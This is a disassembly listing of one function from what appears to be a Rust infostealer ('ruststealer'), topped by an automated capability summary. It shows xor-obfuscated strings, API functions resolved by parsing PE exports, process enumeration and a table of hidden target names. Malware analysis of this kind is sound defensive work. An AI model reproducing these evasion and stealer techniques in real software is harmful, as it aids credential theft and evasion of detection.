Function at 0x1400dc750
Capabilities:
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x708
movdqa xmmword [rsp + 0x6f0], xmm15
movdqa xmmword [rsp + 0x6e0], xmm14
movdqa xmmword [rsp + 0x6d0], xmm13
movdqa xmmword [rsp + 0x6c0], xmm12
movdqa xmmword [rsp + 0x6b0], xmm11
movdqa xmmword [rsp + 0x6a0], xmm10
movdqa xmmword [rsp + 0x690], xmm9
movaps xmmword [rsp + 0x680], xmm8
movdqa xmmword [rsp + 0x670], xmm7
movdqa xmmword [rsp + 0x660], xmm6
mov qword [rsp + 0x2c0], rcx
movabs rbx, 0x8000000000000000
lea rax, [0x1402b43da]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
movabs rax, 0x73b30011ac9507f8
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h52ac48b2e4ac69ef
movabs rcx, 0xe5fdb03e1a3c8a44
xor rcx, qword [rax]
mov edx, 0x2cb161a3
xor edx, dword [rax + 8]
mov qword [rsp + 0x1c0], rcx
mov dword [rsp + 0x1c8], edx
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1c0]
call sym.ruststealer::loader::LoadMod::new::h37f4a917a9a86275
cmp qword [rsp + 0x30], rbx
jne 0x1400e38ab
mov rsi, qword [rsp + 0x38]
lea rax, [0x1402b9c59]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5161b36a0b484e1b
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::ha24bae49d01ff8ea
movabs rcx, 0x98a47b6ab53bbf43
xor rcx, qword [rax]
movabs rdx, 0x521a618deeef214e
xor rdx, qword [rax + 8]
movabs r8, 0x84cb6ce8db521d98
xor r8, qword [rax + 0x10]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x40], r8
lea rcx, [rsp + 0x1c0]
lea r8, [rsp + 0x30]
mov r9d, 0x18
mov rdx, rsi
call sym.ruststealer::loader::LoadMod::get_function::h5ac2b4c7e1c05e5c
cmp qword [rsp + 0x1c0], rbx
jne 0x1400e38d3
mov rdi, qword [rsp + 0x1c8]
lea rax, [0x1402bf04b]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
movabs rax, 0xf26ed3b913641d02
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hfeabaab73a25d488
movabs rcx, 0x9a0438d0a8e29f54
xor rcx, qword [rax]
mov edx, 0xbed8fdbf
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 8
shr eax, 8
xor al, 0xec
mov qword [rsp + 0x1c0], rcx
mov dword [rsp + 0x1c8], edx
mov byte [rsp + 0x1cc], r8b
mov byte [rsp + 0x1cd], al
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x1c0]
mov r9d, 0xe
mov rdx, rsi
call sym.ruststealer::loader::LoadMod::get_function::h5ac2b4c7e1c05e5c
mov qword [rsp + 0x3f0], rbx
cmp qword [rsp + 0x30], rbx
jne 0x1400e3901
mov rbx, qword [rsp + 0x38]
mov ecx, 2
xor edx, edx
call rdi
cmp rax, 0xffffffffffffffff
je 0x1400dca24
mov r14, rax
lea rdi, [rsp + 0x90]
mov r8d, 0x130
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0x90], 0x130
mov rcx, r14
mov rdx, rdi
call rbx
test eax, eax
jne 0x1400e2ab7
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x34], xmm0
jmp 0x1400dca3b
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x34], xmm0
mov r14, 0xffffffffffffffff
mov rcx, rsi
call sub.KERNEL32.dll_FreeLibrary
mov ecx, 1
mov qword [rsp + 0x3f8], rcx
test eax, eax
je 0x1400dca63
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x5b0], xmm0
jmp 0x1400dcab1
lea rax, str.Failed_to_free_Module_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
pxor xmm1, xmm1
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x5b0], xmm0
movdqu xmmword [rsp + 0xa8], xmm1
lea rcx, [rsp + 0x90]
call sym.std::io::stdio::_eprint::h9d1efd0cc06e46e4
xor eax, eax
mov qword [rsp + 0x4f0], rax
mov dword [rsp + 0x29c], 0
xor eax, eax
mov qword [rsp + 0x388], rax
xor eax, eax
mov qword [rsp + 0x4e8], rax
mov qword [rsp + 0x4f8], r14
movabs r15, 0x8080808080808080
lea r12, [rsp + 0x90]
xorps xmm8, xmm8
movdqa xmm11, xmmword [0x1402bd2e0]
movdqa xmm12, xmmword [0x1402bd2f0]
movdqa xmm13, xmmword [0x1402bd300]
movdqa xmm14, xmmword [0x1402bd310]
movdqa xmm15, xmmword [0x1402bd320]
movdqa xmm6, xmmword [0x1402bd330]
movdqa xmm9, xmmword [0x1402bd340]
movdqa xmm10, xmmword [0x1402bd350]
movdqa xmm7, xmmword [0x1402bd370]
lea rdi, [0x1402c2c90]
xor eax, eax
mov qword [rsp + 0x2c8], rax
nop dword [rax + rax]
lea rax, [0x1402b3a7d]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x9bdb49237ebcd6ca
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h304b58e9ff1e7c22
mov rcx, qword [rax]
movabs rdx, 0x70ee76ecd7b477ca
xor rcx, rdx
mov eax, dword [rax + 8]
mov edx, 0x78469755
xor eax, edx
mov qword [rsp + 0x440], rcx
mov dword [rsp + 0x448], eax
lea r14, [rsp + 0x2e0]
mov rcx, r14
lea r13, [rsp + 0x440]
mov rdx, r13
call sym.ruststealer::loader::LoadMod::new::h37f4a917a9a86275
movabs rsi, 0x8000000000000000
cmp qword [rsp + 0x2e0], rsi
jne 0x1400e338d
mov rbx, qword [rsp + 0x2e8]
lea rax, [0x1402bd77d]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xf70b85c6b9509885
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::he892c0430cd999d2
mov rcx, qword [rax]
movabs rdx, 0x51a936474e41fa25
xor rcx, rdx
mov edx, dword [rax + 8]
mov r8d, 0x9b5c5317
xor edx, r8d
movzx eax, byte [rax + 0xc]
xor al, 0x88
mov qword [rsp + 0x440], rcx
mov dword [rsp + 0x448], edx
mov byte [rsp + 0x44c], al
mov r9d, 0xd
mov rcx, r14
mov rdx, rbx
mov r8, r13
call sym.ruststealer::loader::LoadMod::get_function::h5ac2b4c7e1c05e5c
cmp qword [rsp + 0x2e0], rsi
jne 0x1400e33bb
cmp qword [rsp + 0x2c8], 0
je 0x1400dcd50
mov rax, rsi
mov rsi, qword [rsp + 0x2e8]
movaps xmm0, xmmword [rsp + 0x5b0]
movlps qword [rsp + 0x90], xmm0
mov rcx, qword [rsp + 0x4f0]
mov dword [rsp + 0x98], ecx
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x9c]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov r8d, 0x104
lea rcx, [rsp + 0xbc]
xor edx, edx
mov r14, rax
call sub.msvcrt.dll_memset
mov rcx, qword [rsp + 0x4f8]
mov rdx, r12
call rsi
mov qword [rsp + 0x248], r14
cmp eax, 1
je 0x1400dce0e
mov rcx, rbx
call sub.KERNEL32.dll_FreeLibrary
test eax, eax
je 0x1400dcf80
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x248], rax
jne 0x1400dcfd0
jmp 0x1400df2fb
mov r8, qword [rsp + 0x388]
test r8, r8
je 0x1400dcd8a
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r8
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e340f
mov rcx, rax
mov r8, qword [rsp + 0x388]
jmp 0x1400dcd8f
mov ecx, 1
mov qword [rsp + 0x220], rcx
mov rdx, qword [rsp + 0x3f8]
mov rsi, r8
call sym.memcpy
mov rcx, rbx
call sub.KERNEL32.dll_FreeLibrary
test eax, eax
jne 0x1400dcdeb
lea rax, str.Failed_to_free_Module_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
movups xmmword [rsp + 0xa8], xmm8
mov rcx, r12
call sym.std::io::stdio::_eprint::h9d1efd0cc06e46e4
mov qword [rsp + 0x248], rsi
mov qword [rsp + 0x250], rsi
mov eax, dword [rsp + 0x29c]
mov dword [rsp + 0x2d0], eax
jmp 0x1400dcfd0
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x2d0], eax
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x1c8], 1
mov qword [rsp + 0x1d0], 0
mov r8d, 0x104
lea rcx, [rsp + 0x1c0]
xor edx, edx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov r14d, 0x2c
jmp 0x1400dce8f
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x220], rax
mov byte [rax + rcx], sil
inc rcx
mov qword [rsp + 0x1d0], rcx
inc r14
cmp r14, 0x130
je 0x1400dcf4a
movzx esi, byte [rsp + r14 + 0x90]
test sil, sil
js 0x1400dced0
mov rcx, qword [rsp + 0x1d0]
cmp rcx, qword [rsp + 0x1c0]
jne 0x1400dce60
mov r13, rcx
lea rcx, [rsp + 0x1c0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h1fcdac3786dc2aa9
mov rcx, r13
jmp 0x1400dce60
mov rax, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1d0]
sub rax, rdx
cmp rax, 1
jbe 0x1400dcf2d
mov eax, esi
shr al, 6
or al, 0xc0
and sil, 0xbf
mov rcx, qword [rsp + 0x1c8]
mov byte [rcx + rdx], al
mov qword [rsp + 0x220], rcx
mov byte [rcx + rdx + 1], sil
mov rcx, rdx
add rcx, 2
mov qword [rsp + 0x1d0], rcx
inc r14
cmp r14, 0x130
jne 0x1400dce8f
jmp 0x1400dcf4a
mov r8d, 2
lea rcx, [rsp + 0x1c0]
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
mov rdx, qword [rsp + 0x1d0]
jmp 0x1400dcee9
mov qword [rsp + 0x250], rcx
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x248], rax
mov rcx, rbx
call sub.KERNEL32.dll_FreeLibrary
test eax, eax
jne 0x1400dcd26
nop word cs:[rax + rax]
lea rax, str.Failed_to_free_Module_n
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
movups xmmword [rsp + 0xa8], xmm8
mov rcx, r12
call sym.std::io::stdio::_eprint::h9d1efd0cc06e46e4
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x248], rax
je 0x1400df2fb
movzx eax, byte [0x140346130]
mov edx, 0x110
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e33e7
mov rsi, rax
inc qword [rsp + 0x2c8]
lea rax, [0x1402ff860]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x57a9df0482d100e8
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::ha89c46d7105496d9
mov rcx, qword [rax]
movabs rdx, 0x2ef8d8890fa55f83
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xdd
shr eax, 8
xor al, 0xad
mov qword [rsp + 0x2a0], rcx
mov byte [rsp + 0x2a8], dl
mov byte [rsp + 0x2a9], al
lea rax, [0x1403026c0]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5dd577b2a074c76d
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h01e99577518887de
mov rcx, qword [rax]
movabs rdx, 0x4508dfa911fa8e9d
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x37
xor r8b, 0xca
xor dl, 0x47
mov qword [rsp + 0x500], rcx
mov byte [rsp + 0x508], al
mov byte [rsp + 0x509], r8b
mov byte [rsp + 0x50a], dl
lea rax, [0x1402ffa21]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xced9222c69776c61
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h0eaf74e8ea62a9c2
mov rcx, qword [rax]
movabs rdx, 0x58b991aa7cde9b36
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x6c
mov qword [rsp + 0x280], rcx
mov byte [rsp + 0x288], al
lea rax, [0x140300a9e]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xeaef877b9c304ce2
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hcb7f5768ef7e86be
mov rcx, qword [rax]
movabs rdx, 0xf09d972dc187bd97
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x31
mov qword [rsp + 0x370], rcx
mov byte [rsp + 0x378], al
lea rax, [0x1402ff380]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x95c5040a778a15ec
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h4b5979ae31790397
mov rcx, qword [rax]
movabs rdx, 0xc56aa4942e7efec7
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x68
shr eax, 8
xor al, 0xe1
mov qword [rsp + 0x4d0], rcx
mov byte [rsp + 0x4d8], dl
mov byte [rsp + 0x4d9], al
lea rax, [0x140301b0c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xbcc142a7db4d963d
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hd17126c9ef806810
mov rcx, qword [rax]
movabs rdx, 0xcc3cfdda503bf916
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x39
xor r8b, 0x17
xor dl, 0x75
mov qword [rsp + 0x490], rcx
mov byte [rsp + 0x498], al
mov byte [rsp + 0x499], r8b
mov byte [rsp + 0x49a], dl
lea rax, [0x1402fa579]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5aa4a0b07796bb7c
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hdea1a1e6d38158e3
mov rcx, qword [rax]
movabs rdx, 0x411c7dde1b6eb82b
xor rcx, rdx
mov edx, dword [rax + 8]
mov r8d, 0x1a5c8b2d
xor edx, r8d
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0x91
xor r9b, 0xb8
xor r8b, 0x14
mov qword [rsp + 0x420], rcx
mov dword [rsp + 0x428], edx
mov byte [rsp + 0x42c], al
mov byte [rsp + 0x42d], r9b
mov byte [rsp + 0x42e], r8b
lea rax, [0x1402f7b19]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xdbc99ef4128bf761
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h961771c7e9d3a63f
mov rcx, qword [rax]
movabs rdx, 0x2d21f310661c023d
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x91
mov qword [rsp + 0x340], rcx
mov byte [rsp + 0x348], al
lea rax, [0x1402fb1e2]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x3fd16eb15feb3ce5
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::ha7b6ef803e1db42d
mov rcx, qword [rax]
movabs rdx, 0xafbeb1ca55d539ff
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x29
xor r8b, 0x6c
xor dl, 0x7e
mov qword [rsp + 0x3b0], rcx
mov byte [rsp + 0x3b8], al
mov byte [rsp + 0x3b9], r8b
mov byte [rsp + 0x3ba], dl
lea rax, [0x1402fad1f]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5887aa6ab923dbc6
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hdab7e78924cacef9
mov rcx, qword [rax]
movabs rdx, 0x32ca9a9b62818c7c
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0xb7
add r8b, 0x80
xor dl, 0xa0
mov qword [rsp + 0x400], rcx
mov byte [rsp + 0x408], al
mov byte [rsp + 0x409], r8b
mov byte [rsp + 0x40a], dl
lea rax, [0x1402fe344]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x13eb56d742a457e5
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::hbbba44d59bcd6e5b
mov rcx, qword [rax]
movabs rdx, 0x174cb174dca5ba06
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xa41f97c5ad2c4965
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0x8a048a76
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0xb3
shr eax, 8
xor al, 0xbd
mov qword [rsp + 0x528], rcx
mov qword [rsp + 0x530], rdx
mov dword [rsp + 0x538], r8d
mov byte [rsp + 0x53c], r9b
mov byte [rsp + 0x53d], al
lea rax, [0x1402fb25c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x8fa71922cd6675ad
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h3333c60197596de1
mov rcx, qword [rax]
movabs rdx, 0x24629ae5b187d7f9
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x3a
shr eax, 8
xor al, 0x2e
mov qword [rsp + 0x3d0], rcx
mov byte [rsp + 0x3d8], dl
mov byte [rsp + 0x3d9], al
lea rax, [0x140303b7a]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5946c0d37531112
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h693ef6161c47b98b
mov rax, qword [rax]
movabs rcx, 0xd1749d9ddfc0fa7a
xor rax, rcx
mov qword [rsp + 0x358], rax
lea rax, [0x1402ff0dc]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xf5f7b8096ddb9b1
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h1ce347c0cdeb0c27
mov rcx, qword [rax]
movabs rdx, 0x51b5039762543fa7
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xf4
shr eax, 8
xor al, 0xf5
mov qword [rsp + 0x390], rcx
mov byte [rsp + 0x398], dl
mov byte [rsp + 0x399], al
lea rax, [0x140302c2b]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x79ea6fbb7388c26e
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h0252f54d14c38e4b
mov rcx, qword [rax]
movabs rdx, 0xfba0e8226142fb74
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x70
xor r8b, 0xb5
xor dl, 0x3f
mov qword [rsp + 0x4b0], rcx
mov byte [rsp + 0x4b8], al
mov byte [rsp + 0x4b9], r8b
mov byte [rsp + 0x4ba], dl
lea rax, [0x140303dfc]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x1b79d93c5bd83b02
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h6e56483e0c2d04c6
mov rcx, qword [rax]
movabs rdx, 0x826b992fd3139042
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xcd78c727d88e3088
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0x6615f0c9
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0x2f
shr eax, 8
xor al, 0x25
mov qword [rsp + 0x568], rcx
mov qword [rsp + 0x570], rdx
mov dword [rsp + 0x578], r8d
mov byte [rsp + 0x57c], r9b
mov byte [rsp + 0x57d], al
lea rax, [0x14030024e]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xe0b226e0c234b9aa
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::haf32cc9dc69200bb
mov rcx, qword [rax]
movabs rdx, 0x388f57553ff0f994
xor rcx, rdx
mov rdx, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x440], rcx
movabs rcx, 0xc45580449ed65287
xor rdx, rcx
movabs rcx, 0x92f29b05fffa772a
xor rax, rcx
mov qword [rsp + 0x448], rdx
mov qword [rsp + 0x450], rax
lea rax, [rsp + 0x2a0]
mov qword [rsi], rax
mov qword [rsi + 8], 0xa
lea rax, [rsp + 0x500]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0xb
lea rax, [rsp + 0x280]
mov qword [rsi + 0x20], rax
mov qword [rsi + 0x28], 9
lea rax, [rsp + 0x370]
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], 9
lea rax, [rsp + 0x4d0]
mov qword [rsi + 0x40], rax
mov qword [rsi + 0x48], 0xa
lea rax, [rsp + 0x490]
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0xb
lea rax, [rsp + 0x420]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xf
lea rax, [rsp + 0x340]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 9
lea rax, [rsp + 0x3b0]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x88], 0xb
lea rax, [rsp + 0x400]
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], 0xb
lea rax, [rsp + 0x528]
mov qword [rsi + 0xa0], rax
mov qword [rsi + 0xa8], 0x16
lea rax, [rsp + 0x3d0]
mov qword [rsi + 0xb0], rax
mov qword [rsi + 0xb8], 0xa
lea rax, [rsp + 0x358]
mov qword [rsi + 0xc0], rax
mov qword [rsi + 0xc8], 8
lea rax, [rsp + 0x390]
mov qword [rsi + 0xd0], rax
mov qword [rsi + 0xd8], 0xa
lea rax, [rsp + 0x4b0]
mov qword [rsi + 0xe0], rax
mov qword [rsi + 0xe8], 0xb
lea rax, [rsp + 0x568]
mov qword [rsi + 0xf0], rax
mov qword [rsi + 0xf8], 0x16
lea rax, [rsp + 0x440]
mov qword [rsi + 0x100], rax
mov qword [rsi + 0x108], 0x18
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x250]
add rax, rcx
mov qword [rsp + 0x2d8], rax
xor r13d, r13d
mov qword [rsp + 0x258], rsi
jmp 0x1400dd989
add r13, 0x10
cmp r13, 0x110
mov rcx, qword [rsp + 0x250]
je 0x1400df2c0
mov qword [rsp + 0x278], r13
xor ebx, ebx
test rcx, rcx
je 0x1400ddb10
mov r14, qword [rsp + 0x220]
mov rcx, r14
mov rsi, qword [rsp + 0x2d8]
jmp 0x1400dd9d9
movzx edx, dl
lea r8, [0x140309f98]
movzx edx, byte [rdx + r8]
shr dl, 1
and dl, 1
test dl, dl
je 0x1400ddb31
nop dword [rax]
cmp rcx, rsi
je 0x1400ddb00
mov r8, rcx
mov rax, rbx
movzx edx, byte [rcx]
test dl, dl
js 0x1400dd9f0
lea rcx, [r8 + 1]
jmp 0x1400dda70
mov r9d, edx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400dda45
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp dl, 0xf0
jb 0x1400dda55
lea rcx, [r8 + 4]
movzx edx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
jne 0x1400dda70
jmp 0x1400ddb3e
lea rcx, [r8 + 2]
shl r9d, 6
or r9d, r11d
mov edx, r9d
jmp 0x1400dda70
lea rcx, [r8 + 3]
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
nop word cs:[rax + rax]
mov rbx, rcx
sub rbx, r8
add rbx, rax
lea r8d, [rdx - 9]
cmp r8d, 5
jb 0x1400dd9d0
cmp edx, 0x20
je 0x1400dd9d0
cmp edx, 0x80
jb 0x1400ddb31
mov r8d, edx
shr r8d, 8
cmp r8d, 0x1f
jg 0x1400ddac2
test r8d, r8d
je 0x1400ddae0
cmp r8d, 0x16
jne 0x1400ddb31
cmp edx, 0x1680
sete dl
jmp 0x1400dd9c5
cmp r8d, 0x20
je 0x1400dd9b1
cmp r8d, 0x30
jne 0x1400ddb31
cmp edx, 0x3000
sete dl
jmp 0x1400dd9c5
movzx edx, dl
lea r8, [0x140309f98]
movzx edx, byte [rdx + r8]
jmp 0x1400dd9c2
xor eax, eax
xor ebx, ebx
jmp 0x1400ddc90
xor edx, edx
mov r14, qword [rsp + 0x220]
mov rcx, r14
xor eax, eax
mov rsi, qword [rsp + 0x2d8]
cmp rcx, rsi
jne 0x1400ddb50
jmp 0x1400ddc90
mov rdx, rbx
cmp rcx, rsi
jne 0x1400ddb50
jmp 0x1400ddc90
xor ebx, ebx
mov rdx, rax
xor eax, eax
cmp rcx, rsi
je 0x1400ddc90
nop
mov r9, rsi
jmp 0x1400ddb89
movzx r10d, r10b
lea r11, [0x140309f98]
movzx r10d, byte [r10 + r11]
shr r10b, 1
and r10b, 1
test r10b, r10b
je 0x1400ddc7d
nop word cs:[rax + rax]
cmp rcx, r9
je 0x1400ddc90
mov r8, r9
movzx r10d, byte [r9 - 1]
test r10b, r10b
js 0x1400ddba0
lea r9, [r8 - 1]
jmp 0x1400ddbff
movzx r11d, byte [r8 - 2]
cmp r11b, 0xc0
jge 0x1400ddbcc
movzx esi, byte [r8 - 3]
cmp sil, 0xbf
jg 0x1400ddbd6
lea r9, [r8 - 4]
movzx ebp, byte [r8 - 4]
and ebp, 7
shl ebp, 6
and esi, 0x3f
or esi, ebp
jmp 0x1400ddbdd
lea r9, [r8 - 2]
and r11d, 0x1f
jmp 0x1400ddbe7
lea r9, [r8 - 3]
and esi, 0xf
shl esi, 6
and r11d, 0x3f
or r11d, esi
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r10d, 0x110000
je 0x1400ddc90
lea r11d, [r10 - 9]
cmp r11d, 5
jb 0x1400ddb80
cmp r10d, 0x20
je 0x1400ddb80
cmp r10d, 0x80
jb 0x1400ddc7d
mov r11d, r10d
shr r11d, 8
cmp r11d, 0x1f
jg 0x1400ddc48
test r11d, r11d
je 0x1400ddc68
cmp r11d, 0x16
jne 0x1400ddc7d
cmp r10d, 0x1680
sete r10b
jmp 0x1400ddb6c
cmp r11d, 0x20
je 0x1400ddb55
cmp r11d, 0x30
jne 0x1400ddc7d
cmp r10d, 0x3000
sete r10b
jmp 0x1400ddb6c
movzx r10d, r10b
lea r11, [0x140309f98]
movzx r10d, byte [r10 + r11]
jmp 0x1400ddb68
sub rdx, rcx
add rdx, r8
mov rbx, rdx
nop word cs:[rax + rax]
lea r13, [r14 + rax]
mov rsi, rbx
sub rsi, rax
je 0x1400ddf10
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e2dda
mov rbp, rax
mov r14, rsi
xor r12d, r12d
cmp rsi, 0x10
jb 0x1400ddf1b
nop word cs:[rax + rax]
mov rcx, qword [r13 + r12]
movdqu xmm0, xmmword [r13 + r12]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, r15
jne 0x1400ddf1b
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm2, xmm0, 0x44
movdqa xmm1, xmm0
psrlq xmm1, 0x10
psrlq xmm2, 0x18
movsd xmm2, xmm1
shr ecx, 8
movd xmm3, ecx
